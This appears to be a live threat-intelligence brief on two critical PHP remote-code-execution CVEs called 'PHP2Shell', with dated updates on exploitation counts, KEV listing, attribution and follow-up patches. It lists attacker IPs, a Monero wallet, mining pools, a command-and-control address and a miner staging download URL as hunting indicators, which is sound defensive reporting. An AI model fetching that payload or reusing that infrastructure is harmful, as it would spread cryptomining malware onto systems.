Critical · exploited TLP:CLEAR Compiled 21 Oct 03:55 · revised 20 Nov · GreyNoise count moves to 1,304 (last shell 17 Nov 23:01 UTC; seven fresh exploit sessions 17 Nov evening; Delft fourth gap closed, total 89,574); CYFIRMA raises the Lazarus link to high confidence (v4, 29 Oct); 216-host target list: 30 in South Korea; CVE-2026-123039 in KEV (due 16 Nov); CVE-2026-115560 fixed 19 Nov (8.5.13 / 8.4.28 / 8.3.37 / 8.2.36), Censys: 29m of 46m servers still flawed Patched 13:44 UTC · in CISA KEV, remediation due 29 Oct

PHP2Shell: CVE-2026-109618 & CVE-2026-109619

Intelligence brief for SOC and threat hunting teams. Two critical PHP remote-code-execution flaws in the request-lifecycle bailout path, patched on 21 October and under opportunistic mass exploitation within hours. This revision is organised for action: what the bugs are, who is attacking, how to detect them, what to do, with the day's forensics demoted to appendices.

Bottom line

  1. The exploit now works in the wild, and we have the packets. A honeypot operator published, on 24 October, 35 complete execution-stage POSTs each followed within 400 ms by a /bin/sh whose parent is apache2 running as uid=33 — matched across target-side PCAP and kernel process events, from two source addresses, against three targets. That is the first direct evidence in this case that public-tooling-class exploitation reaches a shell. It is not a victim compromise: the targets were disposable honeypots deliberately built in the configuration the exploit needs. See the 26 October update.
  2. It is being exploited, at scale, right now. Hadrian: “We are now seeing php2shell exploited in the wild at scale”, and “most of the attacks we observe abuse PHP’s session upload-progress path”. Cloudflare, Patchstack, Vega and watchTowr all reported attempts within hours of the patch. No successful in-the-wild victim compromise by a named victim organisation has been confirmed. Both named-organisation compromise claims made in this case have been retracted — Sophos on 22 October, five hours after making it, and Unit 42 on 25 October. A separate, unretracted victim-side report (Dream, 26 Oct, in the 29 October update) describes 24 firewalls plus one internal management server rooted; it names no victim organisation. Exploitation at scale, successful exploitation and victim compromise are three different claims; the first two are now evidenced, the third is not. See the 23 and 26 October updates.
  3. FPM is in scope, and the advisory text understated it. The GitHub advisory left PHP-FPM at “considered susceptible by source analysis”. The PHP security team’s own oss-security post is stronger: “Unauthenticated RCE has been demonstrated against Apache mod_php and PHP-FPM.” If your estate is FPM-only, you are not in a second tier.
  4. The mechanism is now properly documented — four bugs under two CVEs. Wiz Research describes 109618 as an upload-progress unserializer use-after-free plus a process-memory disclosure, and 109619 as a fatal-error backtrace use-after-free plus an OPcache type confusion. Every one is a state-survives-a-bailout bug: memory is freed out from under a global pointer, and the next request on the same worker uses it.
  5. The session path the ecosystem built rules for is the one attackers are actually using — not because the leaked PoC was right about the root cause, but because session.upload_progress is the cheapest way to reach it. That partly reprieves the WAF rules deployed on 21 October, but only for 109619. Nothing in that rule set touches 109618.
  6. An unconfirmed claim that the 8.5.12 fix is incomplete. A Fediverse post says the exploit “still works on 8.5.12”. Canonical reportedly asked php.org and was told it is “unrelated and not a real issue”. PHP has not answered publicly and no reproducer has been published. The nearest independent test since — CovertSwarm’s AArch64 work — got execution on 8.5.11 and no execution on 8.5.12 controls, which cuts against the claim without testing its specific reproducer. Unresolved — do not act on it, but do not close the incident on patching alone either.
  7. Discovery credit belongs to Wiz Research, not to the leaker: first bug found 19 August with AI assistance, reported 24 August, acknowledged 21 September, coordinated with PHP, Calif and OpenAI. This replaces the “the leak was the finder” reading this brief carried yesterday.
  8. There are IOCs — and this brief was wrong to say there were none. Earlier revisions queried ThreatFox, OTX and URLhaus and saw zero; those feeds index malicious infrastructure, not attacking hosts seen by canaries. VulnCheck published five addresses, four user-agents, a session ID, a multipart boundary and four SHA-256s; AWS MadPot published six more, including an exploitation attempt on 17 October, four days before disclosure. The indicator that matters most: 221.14.159.134 — the one host that actually tried to exploit — carries no reputation at all, on any instrument.
  9. Both CVEs are now in CISA KEV — and the remediation deadline is 29 October. Added 26 October, catalog 2026.10.27, 1,760 entries, forensicTriage: Yes on both, fetched directly 28 October; CISA-ADP SSVC moved to Exploitation: active the same week and EPSS sits at 0.99999. Every earlier revision of this brief said “not in KEV” and is superseded. NVD has both at Analyzed with CVSS v3.1 9.8 / 8.1 alongside 9.2 v4.0. The listing confirms exploitation, not a victim: no confirmed compromise of these CVEs exists. See the 28 October update.
  10. Attribution: still none for the attacks, with one caveat this brief owes you. The exploitation in your logs is multi-actor and commodity. Separately, CYFIRMA reported on 23 October that a Korean-speaking actor was staging a campaign against unpatched PHP — HIGH confidence in the preparation, only MODERATE confidence in a Lazarus link, with no malware or infrastructure overlap. Preparation is not these attacks. But an earlier revision of this brief wrongly called the circulating Lazarus claim unsupported; it was a degraded relay of a real advisory. Grade the nexus Low–Medium and read the IOC table for what it is — mostly the VulnCheck, AWS and Sophos commodity sets republished. See the 26 October update.
  11. Patching does not fix everything. A third PHP RCE, CVE-2026-115560, was disclosed in an informational advisory on 23 October and is not fixed by the 21 October releases; PHP is holding it for the regular cycle. It needs a narrow and unusual configuration, has no NVD record and no exploitation, and the same session.upload_progress.enabled=0 setting covers it — which is the strongest argument yet for leaving that mitigation in place after patching.
ContentsShow contentsHide contents

Reading paths — five minutes: bottom line → action plan. Hunting: detection → indicators. Actor assessment: attribution.

Status board

What is measured, and what is only reported

Vendor advisory
Shipped
13:44 UTC, ~16 min early · GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp
Fixed versions
4
8.5.12 · 8.4.27 · 8.3.36 · 8.2.35, plus source backports for 7.4 / 8.0 / 8.1
CVE records
3
NVD Analyzed for both — 9.2 v4.0, plus v3.1 9.8 / 8.1. CVE-2026-115560 has no NVD record and no fix
In CISA KEV
Yes
Catalog 2026.10.27, 1,760 entries, as of 28 Oct · both added 26 Oct, due 29 Oct, forensicTriage: Yes
Exploited in the wild
Yes — and now successful
35 Apache-parent shells, PCAP + process-tree correlation, 24 Oct · still no confirmed named-victim compromise — both named claims withdrawn; see Dream victim-side report, 29 Oct update
Public exploit
Yes
jackalsyn bundle still 404 · author has publicly retracted its root cause
Repositories
1,091
counted 28 Oct, from 35 on 21 Oct; 137 created 24–26 Oct alone
 
Detection is behavioural
hunt OOM fatals, 819,200-byte PHPSESSID response cookies, shells parented by apache2 as uid=33
PHP hosts on Shodan
1.89M
http.component:"php" measured 03:52 UTC — host count, not site count

Confidence labels used below: High two independent sources or reproduced here · Medium single strong source · Low circumstantial · Unconfirmed claim in circulation that nobody has validated.

Status detail, checked 28 October

QuestionAnswerBasis
In CISA KEV?Yes — both, added 26 OctCatalog 2026.10.27, 1,760 entries, fetched directly 28 Oct. Remediation due 29 Oct; forensicTriage: Yes on both. CISA-ADP SSVC now reads Exploitation: active (27 Oct 12:15 UTC)
EPSS (27 Oct)0.99999 · 99.999th pctBoth CVEs, FIRST API. Up from the values this brief carried on 26 Oct — the model is pricing the KEV listing and confirmed shells, not the public PoC
New PHP release since the fix?NoRelease API: 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35, all 21 Oct, still newest on every branch. The 26 Oct -1 Windows rebuilds are the Brotli CVE, not a PHP2Shell fix
NVD statusAnalyzedBoth, last modified 27 Oct (CISA-ADP added refs + SSVC); v4.0 9.2 plus v3.1 9.8 (618) and 8.1 (619). No CVSS revision
CVE-2026-115560 recordNoneNVD returns no record; php.net informational advisory only
Successful exploitationConfirmed35 Apache-parent shells with PCAP + Tetragon correlation, 24 Oct — against honeypots
Confirmed victim compromiseNoTwo claims withdrawn (Sophos 22 Oct, Unit 42 25 Oct); every other sensor reports attempts only
ReproductionConfirmedwatchTowr now states it reproduced both CVEs — upgrading this brief’s earlier MEDIUM, media-relayed grading to primary
Repositories1,091GitHub search API, counted 28 Oct — past the 1,000-result cap this brief described. Repo count is volume, not capability: see the Wiz finding below
Most-starred artefactikow 1,792★Overtook eness; 9bie at 1,436★ is the public PoC family the successful chain most resembles. New: assetnote/php2shell-scanner 904★ — the first high-fidelity scanner from a named research team
AttributionOne claim, hedgedA full sweep found exactly one named-nexus claimant — CYFIRMA, on a Korean-speaking actor staging against unpatched PHP, MODERATE on the Lazarus link, no infrastructure overlap. No Chinese-nexus, Iranian-nexus, ransomware-affiliate, IAB or named botnet-operator claim exists. Exploitation itself remains unattributed commodity activity
DPRK nexusLow–MediumSingle vendor, closed I2P channel, 31-minute window, behavioural basis only. Korea’s MSIT/KISA “caution” alert did not confirm it. See the DPRK question

↑ Back to contents

At a glance

PHP2Shell in brief

Two critical PHP remote-code-execution flaws, patched on 21 October 2026 and under opportunistic mass exploitation within hours. This section is a summary only — every figure here is stated in full, with its caveats, in the sections below.

↑ Back to contents

Update · 20 NovemberThe third bug gets its fix: PHP ships 8.5.13, 8.4.28, 8.3.37 and 8.2.36, closing CVE-2026-115560Show updateHide update

PHP’s regular security release landed 19 November, 14:05 UTC — 8.5.13, 8.4.28, 8.3.37 and 8.2.36 — alongside PHP 8.6.0. It carries the full advisory and fix for CVE-2026-115560, the session upload-progress serializer mismatch disclosed 23 October as the third RCE vector the October emergency releases left open. The fix disables session upload progress by default and rejects runtime changes to session settings, including session.serialize_handler, while upload progress is enabled. The release holds 17 security advisories, 7 rated Critical (CVSS 4.0 9.2), including two further session RCEs — CVE-2026-126714, a session-file RCE, and the PHP-FPM request-smuggling RCE CVE-2026-129289 — and two incomplete-fix follow-ups from the CVE-2026-109619 patch (CVE-2026-129481, CVE-2026-129182). No exploitation of any of the 19 November flaws has been reported, and none is in CISA KEV. The practical point for anyone who patched in October: those builds are still exposed to CVE-2026-115560 until they take the 19 November builds.

The fix does not make mismatched serializers safe

Per the CVE-2026-115560 advisory (GHSA-658j-r8rw-q6mx): if session upload progress is explicitly enabled in any application or pool, all readers and writers of the session data it can reach must use the same session.serialize_handler, even after the update — the fix does not enforce matching serializers across separate configurations. Check for an explicit setting, because an explicit setting overrides the new default. Otherwise keep session.upload_progress.enabled=0 in every configuration that can write to the affected session store.

CVE-2026-115560
Fixed 19 Nov
8.5.13 · 8.4.28 · 8.3.37 · 8.2.36; upload progress now off by default
Critical in this release
7
CVSS 4.0 9.2, of 17 advisories; all need non-default or uncommon setups, per PHP
Exploitation
None reported
No in-the-wild exploitation reported for any 19 Nov flaw; none in CISA KEV; public PoC exists for 115560 (lab only)
GreyNoise
1,304
Unchanged since the 18 Nov section; read 20 Nov 01:43 UTC
ItemBeforeNow
CVE-2026-115560Unpatched since the 23 October informational advisory; the October builds (8.5.12, 8.4.27, 8.3.36, 8.2.35) do not close it; no NVD record (18 Nov section)Fixed 19 Nov in 8.5.13, 8.4.28, 8.3.37, 8.2.36 (GHSA-658j-r8rw-q6mx) — upload progress disabled by default; runtime changes to session settings rejected while it is on; still no NVD record (checked 20 Nov)
CVE-2026-126714Not previously on this pageFixed 19 Nov — session-file RCE (partially overwritten session files can lead to RCE); CVSS 4.0 9.2
CVE-2026-129289Not previously on this pageFixed 19 Nov — PHP-FPM request smuggling (FastCGI connection reuse + php://input not read to end); a single unauthenticated request can reach RCE; CVSS 4.0 9.2
CVE-2026-109619 follow-upsOctober patch incomplete in two placesFixed 19 Nov — CVE-2026-129481 (stale session filename pointer after interrupted session shutdown, 8.3 and later) and CVE-2026-129182 (last_fatal_error_backtrace repopulated during shutdown, 8.5 only)
PHP 8.6.0GA due 19 Nov (18 Nov section)Shipped 19 Nov alongside the security releases
PHP 8.2Security support running to 31 Dec 2026Unchanged — support ends 31 December 2026; the 19 November release is the last ride-up before the 8.3 jump

What this changes, and what it does not

  • The third bug is closed. CVE-2026-115560 — the open thread from the 23 October advisory and the 4 November update — now has a fix and fixed versions. The interim mitigation (session.upload_progress.enabled=0) is no longer the only protection, but it remains the right setting where the feature is not needed.
  • October patching is not enough. Servers that took the 21 October builds are still exposed to CVE-2026-115560 (and to 126714 and 129289) until they take the 19 November builds. Patch-adoption tracking should now be measured against 8.5.13 / 8.4.28 / 8.3.37 / 8.2.36.
  • The fix has a limit worth stating plainly. It does not enforce matching serializers across separate configurations: if upload progress is explicitly enabled anywhere, every reader and writer of that session store must use the same serializer. Audit the effective settings, not just the version number.
  • Nothing here is a new PHP2Shell campaign development. No exploitation of the 19 November flaws has been reported, none is in KEV, and GreyNoise is unchanged at 1,304. The campaign picture is as the 18 November section left it.
  • PHP 8.2 runs out on 31 December. Security support ends then; the 19 November release is the last ride-up before the 8.3 jump.

Sources: PHP.net — News archive 2026 (19 Nov entries: PHP 8.6.0, 8.5.13, 8.4.28, 8.3.37, 8.2.36 released; 18 Nov advance notice: highest severity CRITICAL, critical issues need non-default or uncommon setups; 23 Oct informational advisory promised the full CVE-2026-115560 advisory with the next release) · GHSA-658j-r8rw-q6mx — Session serializer mismatch can lead to remote code execution (CVE-2026-115560) (Guzzle and Monolog gadgets reproduced on the October builds; fix disables upload progress by default; explicit-enable caveat) · Orca — PHP Patches 7 Critical Flaws (19 Nov) (17 vulnerabilities, 7 critical; no known in-the-wild exploitation; none in CISA KEV; public PoC for 115560 targets a lab application) · lilting.ch — PHP 8.5.13 Fixes 7 Critical CVEs (19 Nov) (17 advisories: 7 Critical, 4 High, 6 Medium; 126714 session-file RCE; 129289 FPM request smuggling, single unauthenticated request to RCE; 8.2 EOL 31 Dec) · Corgea — PHP2Shell write-up, 19 Nov update (129481 and 129182 as CVE-2026-109619 follow-ups; October-patched servers still exposed until the 19 Nov builds) · GreyNoise — PHP2Shell Activity 2026, live dashboard read 20 Nov 01:43 UTC (1,304 successful exploitations, unchanged)

↑ Back to contents

Update · 18 NovemberGreyNoise count moves to 1,304; seven fresh exploit sessions on 17 November eveningShow updateHide update

The GreyNoise PHP2Shell Activity dashboard now counts 1,304 successful exploitations (was 1,297 at the 17 November 09:01 UTC reading), with the latest attributed shell now 17 November 23:01:38 UTC — the +7 are seven attributed exploit sessions running 17 November 22:52:54–23:01:38 UTC, each with fresh POST exploit traffic (8.3–8.5 MB sent to /) from the same IP set active since 10–11 November. Unlike the morning’s +32, these are new exploit sessions, not miner commands on established shells. The rows stage the miner from a new URL, https://tmpfiles.org/dl/1794955401.ad53b237c5894f83/wBADtEaHccV3/backup109.tgz, and use a new xmrig worker suffix, -m4 (earlier rows used -miner2 / -miner3); the wallet, the pool 107.178.98.234:3333 and the command-and-control URL 159.89.162.100:4001 are unchanged. Delft’s telemetry feed has resumed after its fourth gap: the data window advanced from 15 November 17:08:49 UTC to 17 November 17:45:22 UTC, total 89,571 to 89,574 (+3) — the interval is largely unmeasured, so the flat totals must not be read as a quiet network.

The +7 are fresh sessions — but the count is still shell-start records

Unlike the 17 November morning +32, which were xmrig commands on shells already established, these seven rows are attributed exploit sessions with fresh POST traffic and shell starts, so the +7 is a real increase in exploit activity. The dashboard still counts shell-start records, so do not quote 1,304 as 1,304 distinct newly exploited hosts — but the direction is real: the same cluster is still exploiting a week after its first rows, and it has rotated to a new staging URL and worker suffix while keeping the same wallet, pool and command-and-control URL.

GreyNoise successes
1,304
Successful exploitations; was 1,297 (17 Nov 09:01 UTC)
Last attributed shell
17 Nov 23:01 UTC
23:01:38 UTC; seven attributed sessions 22:52–23:01 UTC
New staging URL
1
tmpfiles.org/dl/1794955401…/backup109.tgz — miner tarball fetched in the 17 Nov evening rows; new worker suffix -m4
Delft telemetry
Gap closed
Window resumed 17 Nov 17:45:22 UTC after 48 h 36 min; total 89,574 (+3); interval largely unmeasured
ItemBeforeNow
GreyNoise successful exploitations1,297 (15 Nov 17:33:02 UTC last shell)1,304 (18 Nov 00:58 UTC reading) — +7 attributed exploit sessions, 17 Nov 22:52:54–23:01:38 UTC; fresh POST traffic, 8.3–8.5 MB sent to /; latest attributed shell now 17 Nov 23:01:38 UTC
Miner staging URLNo staging URL recorded in earlier sectionshttps://tmpfiles.org/dl/1794955401.ad53b237c5894f83/wBADtEaHccV3/backup109.tgz — fetched as b.tgz in the 17 Nov 22:52–23:01 UTC rows; new xmrig worker suffix -m4 (earlier rows used -miner2 / -miner3); same wallet, same pool 107.178.98.234:3333, same cc-url 159.89.162.100:4001. tmpfiles.org is a public file host, so the link may not stay live — hunt for the backup109.tgz name and the -m4 suffix too
Delft telemetry feedFrozen (checked 17 Nov 07:02 UTC); window 15 Nov 17:08:49 UTC; total 89,571; fourth gap still openGap closed (checked 17 Nov 22:02 UTC) — window resumed 17 Nov 17:45:22 UTC after 48 h 36 min; total 89,571 to 89,574 (+3); sources 802, code 182; funnel probe 68,285 / 687, later steps unchanged. +3 across 48.6 hours is far below the normal rate, so the interval is largely or wholly unmeasured
CVE-2026-123039 KEVCatalog v2026.11.13, 1,781 entries (17 Nov section)v2026.11.17, 1,782 entries (checked 18 Nov) — the sole 17 Nov addition is CVE-2026-115731 (Perforce Puppet Enterprise deserialization), unrelated to PHP2Shell
Other trackersCYFIRMA v4 (29 Oct); CVE-2026-115560 no NVD record; Fiery FS400–FS300 target 16 Nov passed; Fortinet FG-IR-26-186; Xerox XRX26-016 v7 (17 Nov section)Unchanged in this check — no new patch, hotfix or vendor status surfaced; the Fiery FS400–FS300 patch target (16 Nov) has passed with no shipment confirmation; CVE-2026-115560 still has no NVD record; PHP 8.6.0 GA due 19 Nov

What this changes, and what it does not

  • The cluster is still exploiting. Seven fresh attributed sessions on the evening of 17 November, a week after the cluster’s first rows. The campaign is not over on the sensors GreyNoise watches, even though the morning’s +32 was only miner activity.
  • The new staging URL and worker suffix are the actionable additions. Hunt for the tmpfiles.org URL, the backup109.tgz name and the -m4 worker suffix alongside the known pool and cc-url — but note the staging link sits on a public file host and may not stay live.
  • Delft’s fourth gap is closed, but the interval is largely unmeasured. +3 requests across 48 h 36 min cannot distinguish “almost no traffic” from “never replayed”. Do not read the flat totals as a quiet network.
  • No change to attribution or patching. No new named victim, no new vendor advisory; KEV’s only 17 Nov addition is an unrelated Puppet CVE.
  • PHP 8.6.0 GA is due tomorrow, 19 November — the event that would close the CVE-2026-115560 watch.

Sources: GreyNoise — PHP2Shell Activity 2026, live dashboard read 18 Nov 00:58 UTC (1,304 successful exploitations; seven attributed sessions 17 Nov 22:52:54–23:01:38 UTC; tmpfiles.org staging URL and -m4 worker suffix in those rows; pool 107.178.98.234:3333; latest attributed shell 17 Nov 23:01:38 UTC) · Delft telemetry feed, checked 17 Nov 22:02 UTC (fourth gap closed after 48 h 36 min; total 89,574; window resumed 17 Nov 17:45:22 UTC) · CISA — CISA Adds One Known Exploited Vulnerability to Catalog, 17 Nov 2026 (catalog v2026.11.17, 1,782 entries; CVE-2026-115731 added, unrelated)

↑ Back to contents

Update · 17 NovemberGreyNoise count moves to 1,297; miners still running on established shells into the morningShow updateHide update

The GreyNoise PHP2Shell Activity dashboard now counts 1,297 successful exploitations (was 1,265 at the 16 November 01:04 UTC reading), with the latest attributed shell still 15 November 17:33:02 UTC — the +32 are xmrig miner commands (xmrigMiner / xmrigDaemon) on shells already established, running 17 November 07:18–07:22 UTC, not fresh exploit sessions. The same wallet and the same command-and-control URL appear in those rows, and pool.supportxmr.com:3333 is still in use. A second pool host the scripts probe, stratum.nonceward.com:3333, appears in the 15 November rows and is new to this brief, and three further cluster addresses not named in earlier sections — 31.57.233.159, 23.27.87.101 and 154.12.135.249 — are recorded below. Delft’s telemetry feed has not advanced since 15 November 17:08:49 UTC, so everything after that time is unmeasured there.

What the +32 does not prove — read the count carefully

The 07:18–07:22 UTC rows on 17 November are unattributed xmrig commands with “Not attributed” as the attacker IP — miner activity on shells already established, not new exploit sessions. The tag table records them as shell-start records, so the +32 is a count of those records, not 32 fresh exploitations. The direction is still real — miners are still running on compromised sensors two days after the last attributed shell — but do not quote 1,297 as 1,297 distinct newly exploited hosts.

GreyNoise successes
1,297
Successful exploitations; was 1,265 (16 Nov 01:04 UTC)
Last attributed shell
15 Nov 17:33 UTC
17:33:02 UTC; unchanged; miner commands on established shells into 17 Nov morning — see callout
New pool host probed
1
stratum.nonceward.com:3333 — connectivity check in the 15 Nov 10:35 UTC rows; not yet seen carrying mining traffic
New cluster addresses
3
31.57.233.159 and 23.27.87.101 (10 Nov 15:07 UTC rows); 154.12.135.249 (15 Nov 12:11:35 UTC)
Delft telemetry
Frozen
Data window still 15 Nov 17:08:49 UTC at the 17 Nov 07:02 UTC check; total flat at 89,571; fourth gap still open
ItemBeforeNow
GreyNoise successful exploitations1,265 (15 Nov 17:33:02 UTC last shell)1,297 (17 Nov 09:01 UTC reading) — +32 xmrigMiner / xmrigDaemon commands on established shells, 17 Nov 07:18–07:22 UTC; no new attributed shell (latest still 15 Nov 17:33:02 UTC)
Miner poolpool.supportxmr.com:3333 (12 Nov section); 107.178.98.234:3333 (15 Nov cluster, 16 Nov section)stratum.nonceward.com:3333 probed in a connectivity check in the 15 Nov 10:35 UTC rows, alongside pool.supportxmr.com:3333 and 159.89.162.100:4001 — a second pool host the scripts test; not yet seen carrying mining traffic. pool.supportxmr.com:3333 still in use 17 Nov
Cluster addresses12 Nov section: 154.3.235.207, 45.115.192.75, 31.57.193.98; 13 Nov section: 45.89.209.106, 216.173.102.156, 45.115.193.109; 16 Nov section: 104.233.14.23631.57.233.159 and 23.27.87.101, both in the 10 Nov 15:07 UTC cluster rows; 154.12.135.249, first seen 15 Nov 12:11:35 UTC in the 15 Nov cluster rows. The rest of the 10 Nov cluster was already active on 10 November and is not new
Delft telemetry feedData window 15 Nov 17:08:49 UTC (16 Nov check); total 89,571Frozen (checked 17 Nov 07:02 UTC) — window still 15 Nov 17:08:49 UTC, ~38 h behind; total flat at 89,571; sources 802, code 182; fourth gap still open
CVE-2026-123039 KEVCatalog v2026.11.13, 1,781 entries (16 Nov section)Unchanged (checked 17 Nov) — still v2026.11.13, 1,781 entries; no new additions 16–17 Nov. The 16 Nov due date has passed; the due date alone is not a development (standing rule)
Other trackersCYFIRMA v4 (29 Oct); CVE-2026-115560 no NVD record; Fiery FS400–FS300 target 16 Nov; Fortinet FG-IR-26-186; Xerox XRX26-016 v7 (16 Nov section)Unchanged in this check — no new patch, hotfix or vendor status surfaced; the Fiery FS400–FS300 patch target (16 Nov) has passed with no shipment confirmation
CVE-2026-115560No NVD record (checked 16 Nov)Still no NVD record; no PHP fix; no full advisory

What this changes, and what it does not

  • The miners are still running. The +32 is xmrig activity on established shells into the morning of 17 November, two days after the last attributed shell. The campaign is not over on compromised sensors, even though no new exploit session was attributed.
  • It does not change the attribution or the patch picture. No new named victim, no new vendor advisory, no KEV change. Same wallet, same command-and-control URL, same pool.
  • The new pool host is the actionable addition. stratum.nonceward.com:3333 is probed by the scripts alongside the known pool and cc-url. Hunt for it alongside pool.supportxmr.com:3333 and 159.89.162.100:4001 — but note it has not yet been seen carrying mining traffic.
  • The count needs its caveat. The 07:18–07:22 UTC rows are miner commands on established shells, so the +32 counts shell-start records, not 32 fresh exploitations. Quote the figure with that attached.
  • Delft is dark after 15 Nov 17:08 UTC. Its total (89,571) is flat and its window has not moved in ~38 hours. The 17 Nov miner activity is visible only because GreyNoise’s dashboard kept moving; Delft’s coverage ends at 15 Nov 17:08 UTC.

Sources: GreyNoise — PHP2Shell Activity 2026, live dashboard read 17 Nov 09:01 UTC (1,297 successful exploitations; latest attributed shell 15 Nov 17:33:02 UTC; xmrig commands 17 Nov 07:18–07:22 UTC; stratum.nonceward.com:3333 in the 15 Nov 10:35 UTC connectivity-check rows; 31.57.233.159 and 23.27.87.101 in the 10 Nov 15:07 UTC rows; 154.12.135.249 first seen 15 Nov 12:11:35 UTC) · Delft telemetry feed, checked 17 Nov 07:02 UTC (data window still 15 Nov 17:08:49 UTC; total 89,571; fourth gap still open) · CISA — Known Exploited Vulnerabilities catalog (still v2026.11.13, 1,781 entries; checked 17 Nov)

↑ Back to contents

Update · 16 NovemberGreyNoise count moves to 1,265; the mining cluster ran through 15 November eveningShow updateHide update

The GreyNoise PHP2Shell Activity dashboard now counts 1,265 successful exploitations (was 1,229 at the 15 November 08:58 UTC reading), with the latest shell starting 15 November 17:33:02 UTC — exploitation was still succeeding on GreyNoise sensors into the evening of 15 November, three days after the previous last shell. One attacker IP new to this brief appears in the 15 November cluster rows — 104.233.14.236 (Web2Objects LLC, AS62874, US), first seen 12:11:33 UTC — and the miner commands in those rows point at a new pool address, 107.178.98.234:3333, in place of pool.supportxmr.com:3333, with the same XMR wallet and the same cc-url (159.89.162.100:4001). This supersedes the 15 November section’s GreyNoise row (“Unchanged — no new shells in this check”).

What the +36 does not prove — read the count carefully

The 17:00–17:33 UTC rows that close the count are xmrig miner commands (xmrigMiner / xmrigDaemon, /sbin/modprobe msr) with “Not attributed” as the attacker IP — commands running on shells already established, not fresh exploit sessions. The tag table records them as shell-start records, so the +36 is a count of those records, not necessarily 36 fresh exploitations. The direction is still real — the count moved for the first time since 12 November, and the 12:11–12:29 UTC cluster rows carry attributed exploit sessions — but do not quote 1,265 as 1,265 distinct newly exploited hosts.

GreyNoise successes
1,265
Successful exploitations; was 1,229 (12 Nov 15:12 UTC)
Last successful shell
15 Nov 17:33 UTC
17:33:02 UTC; xmrig commands on established shells — see callout
New attacker IP
1
104.233.14.236 (Web2Objects LLC, AS62874, US); 16 exploit sessions, first seen 15 Nov 12:11:33 UTC
CVE-2026-123039 KEV / NVD
Unchanged
KEV still v2026.11.13, 1,781 entries (checked 16 Nov 01:00 UTC); NVD still “Undergoing Enrichment”, last modified 13 Nov
ItemBeforeNow
GreyNoise successful exploitations1,229 (12 Nov 15:12:48 UTC last shell)1,265 (15 Nov 17:33:02 UTC last shell) — exploitation still succeeding on GreyNoise sensors; +36 since the 15 Nov 08:58 UTC reading
New attacker IP104.233.14.236 not in this brief (12 Nov section: 154.3.235.207, 45.115.192.75, 31.57.193.98; 13 Nov section: 45.89.209.106, 216.173.102.156, 45.115.193.109)104.233.14.236 (Web2Objects LLC, AS62874, US) — first seen 15 Nov 12:11:33 UTC, 16 exploit sessions to 12:28:21 UTC, in the 15 Nov 12:11–12:29 UTC cluster rows
Miner poolpool.supportxmr.com:3333 (12 Nov section; same wallet)107.178.98.234:3333 — first seen 15 Nov 12:11:12 UTC, 8 occurrences to 17:00:02 UTC; the xmrig commands in the 15 Nov rows point the miner at this IP instead of the supportxmr.com hostname; same wallet and cc-url 159.89.162.100:4001
Post-exploitation payloadXMRig Monero mining (13 Nov section: same wallet and pool; Cloudflare-tunnel miner ran 12 Nov 05:54–15:12 UTC)Unchanged in kind — same wallet 49Gej6TbPqyRhZvJQKpthyaBhd6DsUPq4BmtBKMxXHfb8Xv57iVSPg3PJ6iaokogkzKKuFFryE9qgRTKwJv8addzEcyhP7b; the 17:00–17:33 UTC rows are xmrig commands on established shells (see callout)
CVE-2026-123039 KEVCatalog v2026.11.13, 1,781 entries; added 13 Nov, due 16 Nov (15 Nov section)Unchanged (checked 16 Nov 01:00 UTC) — still v2026.11.13, 1,781 entries; no new additions in this check. The due date falling today is not itself a development (standing rule)
CVE-2026-123039 NVD record“Undergoing Enrichment”; last modified 13 Nov (15 Nov section)Unchanged (checked 16 Nov 01:00 UTC) — still “Undergoing Enrichment”; last modified 13 Nov; no NVD assessment
CYFIRMAv4 (29 Oct), HIGH confidence Lazarus link; 216-host breakdown (15 Nov section)Unchanged (checked 16 Nov 00:59 UTC) — still v4; no v5; 62-vs-54 IOC reconciliation still outstanding
Other trackersTrend Micro KA-0024802 (DDAN ETA 18 Nov, TMMS ETA 17 Nov); NCSC-NL 972 / 213 / 212; Fortinet FG-IR-26-186; Xerox XRX26-016 v6; Fiery FS800–FS500 shipment unconfirmed, FS400–FS300 target 16 Nov (15 Nov section)Unchanged in this check — no new patch, hotfix or vendor status surfaced; Fiery FS400–FS300 target is today, no shipment confirmation yet
CVE-2026-115560No NVD record (checked 15 Nov)Still no NVD record; no PHP fix; no full advisory

What this changes, and what it does not

  • The exploitation picture moves for the first time since 12 November. +36 shells, latest 15 Nov 17:33 UTC: unpatched PHP on GreyNoise sensors is still being won, three days after the last recorded success. Patch and hunt advice is unchanged — it is the same campaign, the same wallet, the same miner.
  • It does not change the attribution or the patch picture. No new named victim, no new vendor advisory, no KEV change. CVE-2026-123039’s federal remediation date falls today (16 Nov), but the due date alone is not a development, and the fix is unchanged.
  • The new pool IP is the actionable addition. 107.178.98.234:3333 replaces the supportxmr.com hostname in the miner commands. Hunt for it alongside the wallet and the cc-url. The 15 Nov cluster’s other addresses were already active on 10 November and are not new.
  • The count needs its caveat. The 17:00–17:33 UTC rows are miner commands on established shells, so the +36 counts shell-start records, not necessarily 36 fresh exploitations. Quote the figure with that attached.

Sources: GreyNoise — PHP2Shell Activity 2026, live dashboard read 16 Nov 01:04 UTC (1,265 successful exploitations; latest shell 15 Nov 17:33:02 UTC; new attacker IP 104.233.14.236, Web2Objects LLC, AS62874, first seen 15 Nov 12:11:33 UTC, 16 sessions; connect-back 107.178.98.234:3333, first seen 15 Nov 12:11:12 UTC, 8 occurrences) · CISA — Known Exploited Vulnerabilities catalog (still v2026.11.13, 1,781 entries; checked 16 Nov 01:00 UTC) · NVD — CVE-2026-123039 record, read 16 Nov 01:00 UTC (still “Undergoing Enrichment”; last modified 13 Nov) · CYFIRMA — PHP2Shell Vulnerability Explained (still advisory v4, 29 Oct; read 16 Nov 00:59 UTC)

↑ Back to contents

Update · 15 NovemberCYFIRMA raises the Lazarus link to high confidence — and Korean press publishes the target-list breakdownShow updateHide update

